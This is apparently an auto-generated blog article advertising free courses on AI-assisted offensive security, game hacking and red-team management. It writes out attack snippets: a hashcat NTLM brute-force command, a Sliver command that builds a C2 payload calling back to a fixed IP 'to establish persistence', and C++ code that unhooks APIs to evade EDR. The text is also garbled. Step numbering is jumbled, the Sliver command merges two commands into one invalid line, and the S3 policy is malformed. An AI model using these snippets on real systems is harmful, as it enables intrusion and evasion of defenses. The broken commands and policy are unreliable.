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Introduction:
Offensive security is evolving with the integration of artificial intelligence (AI), enabling red teams to automate attacks, bypass defenses, and simulate advanced threats. Three new free courses—Fundamentals of Game Hacking Development, Introduction to Offensive Security with AI, and Red Team Operation Management—provide hands-on training for cybersecurity professionals. This article explores key technical concepts, commands, and methodologies from these courses.
Learning Objectives:
- Understand how AI enhances offensive security operations.
- Learn game hacking techniques for security testing.
- Master red team management strategies for realistic adversary simulations.
You Should Know:
1. Game Hacking: Memory Manipulation with Cheat Engine
Command/Code:
Attach Cheat Engine to <Process_Name> Search for <Value> (e.g., health, ammo) Modify memory address to alter game behavior
Step-by-Step Guide:
- Launch Cheat Engine and select the target game process.
2. Scan for dynamic values (e.g., player health).
3. Freeze or modify values to manipulate gameplay.
Use Case: Security professionals test game anti-cheat systems by simulating exploits.
2. AI-Driven Password Cracking with Hashcat
Command:
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a --increment
Explanation:
-m 1000: Specifies NTLM hash mode.-a 3: Uses brute-force attack.?a?a?a?a?a?a: Tests all 6-character combinations.
AI Integration: Train ML models to predict common password patterns for faster cracking.
3. Red Team C2 Setup with Sliver
Command:
sliver-server start generate --mtls 192.168.1.100 --save /tmp/payload.exe
Steps:
1. Start the Sliver C2 server.
- Generate a payload with mutual TLS (mTLS) for secure callbacks.
3. Deploy on a target to establish persistence.
4. Bypassing EDR with API Unhooking
Code (C++):
NtProtectVirtualMemory(hProcess, &lpAddress, &dwSize, PAGE_EXECUTE_READWRITE, &flOldProtect); memcpy(lpAddress, originalBytes, sizeof(originalBytes));
Purpose: Restores hooked API functions to evade Endpoint Detection and Response (EDR) tools.
5. Cloud Hardening: AWS S3 Bucket Security
AWS CLI Command:
“`aws s3api put-bucket-policy –bucket MyBucket –policy file://policy.json“`
Policy Example:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::MyBucket/",
"Condition": {"NotIpAddress": {"aws:SourceIp": ["192.0.2.0/24"]}}
}]
}
What Undercode Say:
- AI is reshaping red teaming: Automated exploit generation and anomaly detection evasion are now feasible with ML.
- Game hacking skills translate to security: Understanding memory exploits helps defend against real-world malware.
- Free training bridges skill gaps: These courses democratize advanced offensive security knowledge.
Analysis:
The intersection of AI and offensive security introduces both opportunities and risks. While defenders leverage AI for threat detection, attackers use it to refine payloads and avoid signatures. The rise of AI-powered red teaming demands updated defensive strategies, including adversarial ML training and behavior-based detection.
Prediction:
By 2026, AI-driven penetration testing will become standard, reducing manual effort for vulnerability discovery. However, this will also lead to more sophisticated cyberattacks, necessitating AI-augmented blue teams. Organizations must invest in continuous training—like the courses highlighted—to stay ahead.
Courses Mentioned:
IT/Security Reporter URL:
Reported By: Red Team – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
